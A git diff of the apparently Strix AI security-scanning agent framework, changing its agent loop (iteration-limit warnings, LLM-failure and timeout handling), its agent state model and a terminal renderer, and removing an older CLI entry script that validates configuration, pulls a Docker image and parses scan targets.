self.state.max_iterations_warning_sent = True
|
||||
remaining = self.state.max_iterations - self.state.iteration
|
||||
warning_msg = (
|
||||
f"URGENT: You are approaching the maximum iteration limit. "
|
||||
f"Current: {self.state.iteration}/{self.state.max_iterations} "
|
||||
f"({remaining} iterations remaining). "
|
||||
f"Please prioritize completing your required task(s) and calling "
|
||||
f"the appropriate finish tool (finish_scan for root agent, "
|
||||
f"agent_finish for sub-agents) as soon as possible."
|
||||
)
|
||||
self.state.add_message("user", warning_msg)
|
||||
|
||||
if self.state.iteration == self.state.max_iterations - 3:
|
||||
final_warning_msg = (
|
||||
"CRITICAL: You have only 3 iterations left! "
|
||||
"Your next message MUST be the tool call to the appropriate "
|
||||
"finish tool: finish_scan if you are the root agent, or "
|
||||
"agent_finish if you are a sub-agent. "
|
||||
"No other actions should be taken except finishing your work "
|
||||
"immediately."
|
||||
)
|
||||
self.state.add_message("user", final_warning_msg)
|
||||
|
||||
try:
|
||||
should_finish = await self._process_iteration(tracer)
|
||||
if should_finish:
|
||||
if self.non_interactive:
|
||||
self.state.set_completed({"success": True})
|
||||
if tracer:
|
||||
tracer.update_agent_status(self.state.agent_id, "completed")
|
||||
return self.state.final_result or {}
|
||||
await self._enter_waiting_state(tracer, task_completed=True)
|
||||
continue
|
||||
|
||||
except asyncio.CancelledError:
|
||||
if self.non_interactive:
|
||||
raise
|
||||
await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True)
|
||||
continue
|
||||
|
||||
except LLMRequestFailedError as e:
|
||||
error_msg = str(e)
|
||||
error_details = getattr(e, "details", None)
|
||||
self.state.add_error(error_msg)
|
||||
|
||||
if self.non_interactive:
|
||||
self.state.set_completed({"success": False, "error": error_msg})
|
||||
if tracer:
|
||||
tracer.update_agent_status(self.state.agent_id, "failed", error_msg)
|
||||
if error_details:
|
||||
tracer.log_tool_execution_start(
|
||||
self.state.agent_id,
|
||||
"llm_error_details",
|
||||
{"error": error_msg, "details": error_details},
|
||||
)
|
||||
tracer.update_tool_execution(
|
||||
tracer._next_execution_id - 1, "failed", error_details
|
||||
)
|
||||
return {"success": False, "error": error_msg}
|
||||
|
||||
self.state.enter_waiting_state(llm_failed=True)
|
||||
if tracer:
|
||||
tracer.update_agent_status(self.state.agent_id, "llm_failed", error_msg)
|
||||
if error_details:
|
||||
tracer.log_tool_execution_start(
|
||||
self.state.agent_id,
|
||||
"llm_error_details",
|
||||
{"error": error_msg, "details": error_details},
|
||||
)
|
||||
tracer.update_tool_execution(
|
||||
tracer._next_execution_id - 1, "failed", error_details
|
||||
)
|
||||
continue
|
||||
|
||||
except (RuntimeError, ValueError, TypeError) as e:
|
||||
if not await self._handle_iteration_error(e, tracer):
|
||||
if self.non_interactive:
|
||||
self.state.set_completed({"success": False, "error": str(e)})
|
||||
if tracer:
|
||||
tracer.update_agent_status(self.state.agent_id, "failed")
|
||||
raise
|
||||
await self._enter_waiting_state(tracer, error_occurred=True)
|
||||
continue
|
||||
|
||||
async def _wait_for_input(self) -> None:
|
||||
import asyncio
|
||||
|
||||
if self.state.has_waiting_timeout():
|
||||
self.state.resume_from_waiting()
|
||||
self.state.add_message("assistant", "Waiting timeout reached. Resuming execution.")
|
||||
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
tracer.update_agent_status(self.state.agent_id, "running")
|
||||
|
||||
try:
|
||||
from strix.tools.agents_graph.agents_graph_actions import _agent_graph
|
||||
|
||||
if self.state.agent_id in _agent_graph["nodes"]:
|
||||
_agent_graph["nodes"][self.state.agent_id]["status"] = "running"
|
||||
except (ImportError, KeyError):
|
||||
pass
|
||||
|
||||
return
|
||||
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
async def _enter_waiting_state(
|
||||
@@ -233,12 +336,15 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
|
||||
runtime = get_runtime()
|
||||
sandbox_info = await runtime.create_sandbox(
|
||||
self.state.agent_id, self.state.sandbox_token, self.local_source_path
|
||||
self.state.agent_id, self.state.sandbox_token, self.local_sources
|
||||
)
|
||||
self.state.sandbox_id = sandbox_info["workspace_id"]
|
||||
self.state.sandbox_token = sandbox_info["auth_token"]
|
||||
self.state.sandbox_info = sandbox_info
|
||||
|
||||
if "agent_id" in sandbox_info:
|
||||
self.state.sandbox_info["agent_id"] = sandbox_info["agent_id"]
|
||||
|
||||
if not self.state.task:
|
||||
self.state.task = task
|
||||
|
||||
@@ -308,6 +414,8 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
self.state.set_completed({"success": True})
|
||||
if tracer:
|
||||
tracer.update_agent_status(self.state.agent_id, "completed")
|
||||
if self.non_interactive and self.state.parent_id is None:
|
||||
return True
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -324,7 +432,7 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
tracer.update_agent_status(self.state.agent_id, "error")
|
||||
return True
|
||||
|
||||
def _check_agent_messages(self, state: AgentState) -> None:
|
||||
def _check_agent_messages(self, state: AgentState) -> None: # noqa: PLR0912
|
||||
try:
|
||||
from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages
|
||||
|
||||
@@ -337,13 +445,29 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
has_new_messages = False
|
||||
for message in messages:
|
||||
if not message.get("read", False):
|
||||
if state.is_waiting_for_input():
|
||||
state.resume_from_waiting()
|
||||
has_new_messages = True
|
||||
|
||||
sender_name = "Unknown Agent"
|
||||
sender_id = message.get("from")
|
||||
|
||||
if state.is_waiting_for_input():
|
||||
if state.llm_failed:
|
||||
if sender_id == "user":
|
||||
state.resume_from_waiting()
|
||||
has_new_messages = True
|
||||
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
tracer.update_agent_status(state.agent_id, "running")
|
||||
else:
|
||||
state.resume_from_waiting()
|
||||
has_new_messages = True
|
||||
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
tracer.update_agent_status(state.agent_id, "running")
|
||||
|
||||
if sender_id == "user":
|
||||
sender_name = "User"
|
||||
state.add_message("user", message.get("content", ""))
|
||||
@@ -380,7 +504,7 @@ class BaseAgent(metaclass=AgentMeta):
|
||||
message["read"] = True
|
||||
|
||||
if has_new_messages and not state.is_waiting_for_input():
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.telemetry.tracer import get_global_tracer
|
||||
|
||||
tracer = get_global_tracer()
|
||||
if tracer:
|
||||
|
||||
+27
-3
@@ -19,11 +19,14 @@ class AgentState(BaseModel):
|
||||
|
||||
task: str = ""
|
||||
iteration: int = 0
|
||||
max_iterations: int = 200
|
||||
max_iterations: int = 300
|
||||
completed: bool = False
|
||||
stop_requested: bool = False
|
||||
waiting_for_input: bool = False
|
||||
llm_failed: bool = False
|
||||
waiting_start_time: datetime | None = None
|
||||
final_result: dict[str, Any] | None = None
|
||||
max_iterations_warning_sent: bool = False
|
||||
|
||||
messages: list[dict[str, Any]] = Field(default_factory=list)
|
||||
context: dict[str, Any] = Field(default_factory=dict)
|
||||
@@ -85,15 +88,18 @@ class AgentState(BaseModel):
|
||||
def is_waiting_for_input(self) -> bool:
|
||||
return self.waiting_for_input
|
||||
|
||||
def enter_waiting_state(self) -> None:
|
||||
def enter_waiting_state(self, llm_failed: bool = False) -> None:
|
||||
self.waiting_for_input = True
|
||||
self.stop_requested = False
|
||||
self.waiting_start_time = datetime.now(UTC)
|
||||
self.llm_failed = llm_failed
|
||||
self.last_updated = datetime.now(UTC).isoformat()
|
||||
|
||||
def resume_from_waiting(self, new_task: str | None = None) -> None:
|
||||
self.waiting_for_input = False
|
||||
self.waiting_start_time = None
|
||||
self.stop_requested = False
|
||||
self.completed = False
|
||||
self.llm_failed = False
|
||||
if new_task:
|
||||
self.task = new_task
|
||||
self.last_updated = datetime.now(UTC).isoformat()
|
||||
@@ -101,6 +107,24 @@ class AgentState(BaseModel):
|
||||
def has_reached_max_iterations(self) -> bool:
|
||||
return self.iteration >= self.max_iterations
|
||||
|
||||
def is_approaching_max_iterations(self, threshold: float = 0.85) -> bool:
|
||||
return self.iteration >= int(self.max_iterations * threshold)
|
||||
|
||||
def has_waiting_timeout(self) -> bool:
|
||||
if not self.waiting_for_input or not self.waiting_start_time:
|
||||
return False
|
||||
|
||||
if (
|
||||
self.stop_requested
|
||||
or self.llm_failed
|
||||
or self.completed
|
||||
or self.has_reached_max_iterations()
|
||||
):
|
||||
return False
|
||||
|
||||
elapsed = (datetime.now(UTC) - self.waiting_start_time).total_seconds()
|
||||
return elapsed > 600
|
||||
|
||||
def has_empty_last_messages(self, count: int = 3) -> bool:
|
||||
if len(self.messages) < count:
|
||||
return False
|
||||
|
||||
@@ -1,564 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Strix Agent Command Line Interface
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import secrets
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
from urllib.parse import urlparse
|
||||
import shutil
|
||||
|
||||
import docker
|
||||
import litellm
|
||||
from docker.errors import DockerException
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.cli.app import run_strix_cli
|
||||
from strix.cli.tracer import get_global_tracer
|
||||
from strix.runtime.docker_runtime import STRIX_IMAGE
|
||||
|
||||
|
||||
logging.getLogger().setLevel(logging.ERROR)
|
||||
|
||||
|
||||
def format_token_count(count: float) -> str:
|
||||
count = int(count)
|
||||
if count >= 1_000_000:
|
||||
return f"{count / 1_000_000:.1f}M"
|
||||
if count >= 1_000:
|
||||
return f"{count / 1_000:.1f}K"
|
||||
return str(count)
|
||||
|
||||
|
||||
def validate_environment() -> None:
|
||||
console = Console()
|
||||
missing_required_vars = []
|
||||
missing_optional_vars = []
|
||||
|
||||
if not os.getenv("STRIX_LLM"):
|
||||
missing_required_vars.append("STRIX_LLM")
|
||||
|
||||
if not os.getenv("LLM_API_KEY"):
|
||||
missing_required_vars.append("LLM_API_KEY")
|
||||
|
||||
if not os.getenv("PERPLEXITY_API_KEY"):
|
||||
missing_optional_vars.append("PERPLEXITY_API_KEY")
|
||||
|
||||
if missing_required_vars:
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
|
||||
for var in missing_required_vars:
|
||||
error_text.append(f"• {var}", style="bold yellow")
|
||||
error_text.append(" is not set\n", style="white")
|
||||
|
||||
if missing_optional_vars:
|
||||
error_text.append(
|
||||
"\nOptional (but recommended) environment variables:\n", style="dim white"
|
||||
)
|
||||
for var in missing_optional_vars:
|
||||
error_text.append(f"• {var}", style="dim yellow")
|
||||
error_text.append(" is not set\n", style="dim white")
|
||||
|
||||
error_text.append("\nRequired environment variables:\n", style="white")
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("STRIX_LLM", style="bold cyan")
|
||||
error_text.append(
|
||||
" - Model name to use with litellm (e.g., 'anthropic/claude-opus-4-1-20250805')\n",
|
||||
style="white",
|
||||
)
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("LLM_API_KEY", style="bold cyan")
|
||||
error_text.append(" - API key for the LLM provider\n", style="white")
|
||||
|
||||
if missing_optional_vars:
|
||||
error_text.append("\nOptional environment variables:\n", style="white")
|
||||
error_text.append("• ", style="white")
|
||||
error_text.append("PERPLEXITY_API_KEY", style="bold cyan")
|
||||
error_text.append(
|
||||
" - API key for Perplexity AI web search (enables real-time research)\n",
|
||||
style="white",
|
||||
)
|
||||
|
||||
error_text.append("\nExample setup:\n", style="white")
|
||||
error_text.append(
|
||||
"export STRIX_LLM='anthropic/claude-opus-4-1-20250805'\n", style="dim white"
|
||||
)
|
||||
error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white")
|
||||
if missing_optional_vars:
|
||||
error_text.append(
|
||||
"export PERPLEXITY_API_KEY='your-perplexity-key-here'", style="dim white"
|
||||
)
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX CONFIGURATION ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def _validate_llm_response(response: Any) -> None:
|
||||
if not response or not response.choices or not response.choices[0].message.content:
|
||||
raise RuntimeError("Invalid response from LLM")
|
||||
|
||||
|
||||
def check_docker_installed() -> None:
|
||||
if shutil.which("docker") is None:
|
||||
console = Console()
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("DOCKER NOT INSTALLED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
|
||||
error_text.append("Please install Docker and ensure the 'docker' command is available.\n\n", style="white")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print("\n", panel, "\n")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
async def warm_up_llm() -> None:
|
||||
console = Console()
|
||||
|
||||
try:
|
||||
model_name = os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
|
||||
api_key = os.getenv("LLM_API_KEY")
|
||||
|
||||
if api_key:
|
||||
litellm.api_key = api_key
|
||||
|
||||
test_messages = [
|
||||
{"role": "system", "content": "You are a helpful assistant."},
|
||||
{"role": "user", "content": "Reply with just 'OK'."},
|
||||
]
|
||||
|
||||
response = litellm.completion(
|
||||
model=model_name,
|
||||
messages=test_messages,
|
||||
)
|
||||
|
||||
_validate_llm_response(response)
|
||||
|
||||
except Exception as e: # noqa: BLE001
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("LLM CONNECTION FAILED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("Could not establish connection to the language model.\n", style="white")
|
||||
error_text.append("Please check your configuration and try again.\n", style="white")
|
||||
error_text.append(f"\nError: {e}", style="dim white")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def generate_run_name() -> str:
|
||||
# fmt: off
|
||||
adjectives = [
|
||||
"stealthy", "sneaky", "crafty", "elite", "phantom", "shadow", "silent",
|
||||
"rogue", "covert", "ninja", "ghost", "cyber", "digital", "binary",
|
||||
"encrypted", "obfuscated", "masked", "cloaked", "invisible", "anonymous"
|
||||
]
|
||||
nouns = [
|
||||
"exploit", "payload", "backdoor", "rootkit", "keylogger", "botnet", "trojan",
|
||||
"worm", "virus", "packet", "buffer", "shell", "daemon", "spider", "crawler",
|
||||
"scanner", "sniffer", "honeypot", "firewall", "breach"
|
||||
]
|
||||
# fmt: on
|
||||
adj = secrets.choice(adjectives)
|
||||
noun = secrets.choice(nouns)
|
||||
number = secrets.randbelow(900) + 100
|
||||
return f"{adj}-{noun}-{number}"
|
||||
|
||||
|
||||
def infer_target_type(target: str) -> tuple[str, dict[str, str]]:
|
||||
if not target or not isinstance(target, str):
|
||||
raise ValueError("Target must be a non-empty string")
|
||||
|
||||
target = target.strip()
|
||||
|
||||
parsed = urlparse(target)
|
||||
if parsed.scheme in ("http", "https"):
|
||||
if any(
|
||||
host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"]
|
||||
):
|
||||
return "repository", {"target_repo": target}
|
||||
return "web_application", {"target_url": target}
|
||||
|
||||
path = Path(target)
|
||||
try:
|
||||
if path.exists():
|
||||
if path.is_dir():
|
||||
return "local_code", {"target_path": str(path.absolute())}
|
||||
raise ValueError(f"Path exists but is not a directory: {target}")
|
||||
except (OSError, RuntimeError) as e:
|
||||
raise ValueError(f"Invalid path: {target} - {e!s}") from e
|
||||
|
||||
if target.startswith("git@") or target.endswith(".git"):
|
||||
return "repository", {"target_repo": target}
|
||||
|
||||
if "." in target and "/" not in target and not target.startswith("."):
|
||||
parts = target.split(".")
|
||||
if len(parts) >= 2 and all(p and p.strip() for p in parts):
|
||||
return "web_application", {"target_url": f"https://{target}"}
|
||||
|
||||
raise ValueError(
|
||||
f"Invalid target: {target}\n"
|
||||
"Target must be one of:\n"
|
||||
"- A valid URL (http:// or https://)\n"
|
||||
"- A Git repository URL (https://github.com/... or git@github.com:...)\n"
|
||||
"- A local directory path\n"
|
||||
"- A domain name (e.g., example.com)"
|
||||
)
|
||||
|
||||
|
||||
def parse_arguments() -> argparse.Namespace:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Strix Multi-Agent Cybersecurity Scanner",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Web application scan
|
||||
strix --target https://example.com
|
||||
|
||||
# GitHub repository analysis
|
||||
strix --target https://github.com/user/repo
|
||||
strix --target git@github.com:user/repo.git
|
||||
|
||||
# Local code analysis
|
||||
strix --target ./my-project
|
||||
|
||||
# Domain scan
|
||||
strix --target example.com
|
||||
|
||||
# Custom instructions
|
||||
strix --target example.com --instruction "Focus on authentication vulnerabilities"
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--target",
|
||||
type=str,
|
||||
required=True,
|
||||
help="Target to scan (URL, repository, local directory path, or domain name)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--instruction",
|
||||
type=str,
|
||||
help="Custom instructions for the scan. This can be "
|
||||
"specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), "
|
||||
"testing approaches (e.g., 'Perform thorough authentication testing'), "
|
||||
"test credentials (e.g., 'Use the following credentials to access the app: "
|
||||
"admin:password123'), "
|
||||
"or areas of interest (e.g., 'Check login API endpoint for security issues')",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--run-name",
|
||||
type=str,
|
||||
help="Custom name for this scan run",
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
args.target_type, args.target_dict = infer_target_type(args.target)
|
||||
except ValueError as e:
|
||||
parser.error(str(e))
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def _build_stats_text(tracer: Any) -> Text:
|
||||
stats_text = Text()
|
||||
if not tracer:
|
||||
return stats_text
|
||||
|
||||
vuln_count = len(tracer.vulnerability_reports)
|
||||
tool_count = tracer.get_real_tool_count()
|
||||
agent_count = len(tracer.agents)
|
||||
|
||||
if vuln_count > 0:
|
||||
stats_text.append("🔍 Vulnerabilities Found: ", style="bold red")
|
||||
stats_text.append(str(vuln_count), style="bold yellow")
|
||||
stats_text.append(" • ", style="dim white")
|
||||
|
||||
stats_text.append("🤖 Agents Used: ", style="bold cyan")
|
||||
stats_text.append(str(agent_count), style="bold white")
|
||||
stats_text.append(" • ", style="dim white")
|
||||
stats_text.append("🛠️ Tools Called: ", style="bold cyan")
|
||||
stats_text.append(str(tool_count), style="bold white")
|
||||
|
||||
return stats_text
|
||||
|
||||
|
||||
def _build_llm_stats_text(tracer: Any) -> Text:
|
||||
llm_stats_text = Text()
|
||||
if not tracer:
|
||||
return llm_stats_text
|
||||
|
||||
llm_stats = tracer.get_total_llm_stats()
|
||||
total_stats = llm_stats["total"]
|
||||
|
||||
if total_stats["requests"] > 0:
|
||||
llm_stats_text.append("📥 Input Tokens: ", style="bold cyan")
|
||||
llm_stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white")
|
||||
|
||||
if total_stats["cached_tokens"] > 0:
|
||||
llm_stats_text.append(" • ", style="dim white")
|
||||
llm_stats_text.append("⚡ Cached: ", style="bold green")
|
||||
llm_stats_text.append(
|
||||
format_token_count(total_stats["cached_tokens"]), style="bold green"
|
||||
)
|
||||
|
||||
llm_stats_text.append(" • ", style="dim white")
|
||||
llm_stats_text.append("📤 Output Tokens: ", style="bold cyan")
|
||||
llm_stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white")
|
||||
|
||||
if total_stats["cost"] > 0:
|
||||
llm_stats_text.append(" • ", style="dim white")
|
||||
llm_stats_text.append("💰 Total Cost: $", style="bold cyan")
|
||||
llm_stats_text.append(f"{total_stats['cost']:.4f}", style="bold yellow")
|
||||
|
||||
return llm_stats_text
|
||||
|
||||
|
||||
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
|
||||
console = Console()
|
||||
tracer = get_global_tracer()
|
||||
|
||||
target_value = next(iter(args.target_dict.values())) if args.target_dict else args.target
|
||||
|
||||
completion_text = Text()
|
||||
completion_text.append("🦉 ", style="bold white")
|
||||
completion_text.append("AGENT FINISHED", style="bold green")
|
||||
completion_text.append(" • ", style="dim white")
|
||||
completion_text.append("Security assessment completed", style="white")
|
||||
|
||||
stats_text = _build_stats_text(tracer)
|
||||
|
||||
llm_stats_text = _build_llm_stats_text(tracer)
|
||||
|
||||
target_text = Text()
|
||||
target_text.append("🎯 Target: ", style="bold cyan")
|
||||
target_text.append(str(target_value), style="bold white")
|
||||
|
||||
results_text = Text()
|
||||
results_text.append("📊 Results Saved To: ", style="bold cyan")
|
||||
results_text.append(str(results_path), style="bold yellow")
|
||||
|
||||
if stats_text.plain:
|
||||
if llm_stats_text.plain:
|
||||
panel_content = Text.assemble(
|
||||
completion_text,
|
||||
"\n\n",
|
||||
target_text,
|
||||
"\n",
|
||||
stats_text,
|
||||
"\n",
|
||||
llm_stats_text,
|
||||
"\n",
|
||||
results_text,
|
||||
)
|
||||
else:
|
||||
panel_content = Text.assemble(
|
||||
completion_text, "\n\n", target_text, "\n", stats_text, "\n", results_text
|
||||
)
|
||||
elif llm_stats_text.plain:
|
||||
panel_content = Text.assemble(
|
||||
completion_text, "\n\n", target_text, "\n", llm_stats_text, "\n", results_text
|
||||
)
|
||||
else:
|
||||
panel_content = Text.assemble(completion_text, "\n\n", target_text, "\n", results_text)
|
||||
|
||||
panel = Panel(
|
||||
panel_content,
|
||||
title="[bold green]🛡️ STRIX CYBERSECURITY AGENT",
|
||||
title_align="center",
|
||||
border_style="green",
|
||||
padding=(1, 2),
|
||||
)
|
||||
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
|
||||
|
||||
def _check_docker_connection() -> Any:
|
||||
try:
|
||||
return docker.from_env()
|
||||
except DockerException:
|
||||
console = Console()
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("DOCKER NOT AVAILABLE", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("Cannot connect to Docker daemon.\n", style="white")
|
||||
error_text.append("Please ensure Docker is installed and running.\n\n", style="white")
|
||||
error_text.append("Try running: ", style="dim white")
|
||||
error_text.append("sudo systemctl start docker", style="dim cyan")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print("\n", panel, "\n")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def _image_exists(client: Any) -> bool:
|
||||
try:
|
||||
client.images.get(STRIX_IMAGE)
|
||||
except docker.errors.ImageNotFound:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def _update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None:
|
||||
if "Pull complete" in layer_status or "Already exists" in layer_status:
|
||||
layers_info[layer_id] = "✓"
|
||||
elif "Downloading" in layer_status:
|
||||
layers_info[layer_id] = "↓"
|
||||
elif "Extracting" in layer_status:
|
||||
layers_info[layer_id] = "📦"
|
||||
elif "Waiting" in layer_status:
|
||||
layers_info[layer_id] = "⏳"
|
||||
else:
|
||||
layers_info[layer_id] = "•"
|
||||
|
||||
|
||||
def _process_pull_line(
|
||||
line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str
|
||||
) -> str:
|
||||
if "id" in line and "status" in line:
|
||||
layer_id = line["id"]
|
||||
_update_layer_status(layers_info, layer_id, line["status"])
|
||||
|
||||
completed = sum(1 for v in layers_info.values() if v == "✓")
|
||||
total = len(layers_info)
|
||||
|
||||
if total > 0:
|
||||
update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete"
|
||||
if update_msg != last_update:
|
||||
status.update(update_msg)
|
||||
return update_msg
|
||||
|
||||
elif "status" in line and "id" not in line:
|
||||
global_status = line["status"]
|
||||
if "Pulling from" in global_status:
|
||||
status.update("[bold cyan]Fetching image manifest...")
|
||||
elif "Digest:" in global_status:
|
||||
status.update("[bold cyan]Verifying image...")
|
||||
elif "Status:" in global_status:
|
||||
status.update("[bold cyan]Finalizing...")
|
||||
|
||||
return last_update
|
||||
|
||||
|
||||
def pull_docker_image() -> None:
|
||||
console = Console()
|
||||
client = _check_docker_connection()
|
||||
|
||||
if _image_exists(client):
|
||||
return
|
||||
|
||||
console.print()
|
||||
console.print(f"[bold cyan]🐳 Pulling Docker image:[/bold cyan] {STRIX_IMAGE}")
|
||||
console.print(
|
||||
"[dim yellow]This only happens on first run and may take a few minutes...[/dim yellow]"
|
||||
)
|
||||
console.print()
|
||||
|
||||
with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status:
|
||||
try:
|
||||
layers_info: dict[str, str] = {}
|
||||
last_update = ""
|
||||
|
||||
for line in client.api.pull(STRIX_IMAGE, stream=True, decode=True):
|
||||
last_update = _process_pull_line(line, layers_info, status, last_update)
|
||||
|
||||
except DockerException as e:
|
||||
console.print()
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("FAILED TO PULL IMAGE", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append(f"Could not download: {STRIX_IMAGE}\n", style="white")
|
||||
error_text.append(str(e), style="dim red")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ DOCKER PULL ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print(panel, "\n")
|
||||
sys.exit(1)
|
||||
|
||||
success_text = Text()
|
||||
success_text.append("✅ ", style="bold green")
|
||||
success_text.append("Successfully pulled Docker image", style="green")
|
||||
console.print(success_text)
|
||||
console.print()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
if sys.platform == "win32":
|
||||
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
|
||||
|
||||
check_docker_installed()
|
||||
pull_docker_image()
|
||||
|
||||
validate_environment()
|
||||
asyncio.run(warm_up_llm())
|
||||
|
||||
args = parse_arguments()
|
||||
if not args.run_name:
|
||||
args.run_name = generate_run_name()
|
||||
|
||||
asyncio.run(run_strix_cli(args))
|
||||
|
||||
results_path = Path("agent_runs") / args.run_name
|
||||
display_completion_message(args, results_path)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,99 +0,0 @@
|
||||
from typing import Any, ClassVar
|
||||
|
||||
from textual.widgets import Static
|
||||
|
||||
from .base_renderer import BaseToolRenderer
|
||||
from .registry import register_tool_renderer
|
||||
|
||||
|
||||
@register_tool_renderer
|
||||
class TerminalRenderer(BaseToolRenderer):
|
||||
tool_name: ClassVar[str] = "terminal_action"
|
||||
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
|
||||
|
||||
@classmethod
|
||||
def render(cls, tool_data: dict[str, Any]) -> Static:
|
||||
args = tool_data.get("args", {})
|
||||
status = tool_data.get("status", "unknown")
|
||||
result = tool_data.get("result", {})
|
||||
|
||||
action = args.get("action", "unknown")
|
||||
inputs = args.get("inputs", [])
|
||||
terminal_id = args.get("terminal_id", "default")
|
||||
|
||||
content = cls._build_sleek_content(action, inputs, terminal_id, result)
|
||||
|
||||
css_classes = cls.get_css_classes(status)
|
||||
return Static(content, classes=css_classes)
|
||||
|
||||
@classmethod
|
||||
def _build_sleek_content(
|
||||
cls,
|
||||
action: str,
|
||||
inputs: list[str],
|
||||
terminal_id: str, # noqa: ARG003
|
||||
result: dict[str, Any], # noqa: ARG003
|
||||
) -> str:
|
||||
terminal_icon = ">_"
|
||||
|
||||
if action in {"create", "new_terminal"}:
|
||||
command = cls._format_command(inputs) if inputs else "bash"
|
||||
return f"{terminal_icon} [#22c55e]${command}[/]"
|
||||
|
||||
if action == "send_input":
|
||||
command = cls._format_command(inputs)
|
||||
return f"{terminal_icon} [#22c55e]${command}[/]"
|
||||
|
||||
if action == "wait":
|
||||
return f"{terminal_icon} [dim]waiting...[/]"
|
||||
|
||||
if action == "close":
|
||||
return f"{terminal_icon} [dim]close[/]"
|
||||
|
||||
if action == "get_snapshot":
|
||||
return f"{terminal_icon} [dim]snapshot[/]"
|
||||
|
||||
return f"{terminal_icon} [dim]{action}[/]"
|
||||
|
||||
@classmethod
|
||||
def _format_command(cls, inputs: list[str]) -> str:
|
||||
if not inputs:
|
||||
return ""
|
||||
|
||||
command_parts = []
|
||||
|
||||
for input_item in inputs:
|
||||
if input_item == "Enter":
|
||||
break
|
||||
if input_item.startswith("literal:"):
|
||||
command_parts.append(input_item[8:])
|
||||
elif input_item in [
|
||||
"Space",
|
||||
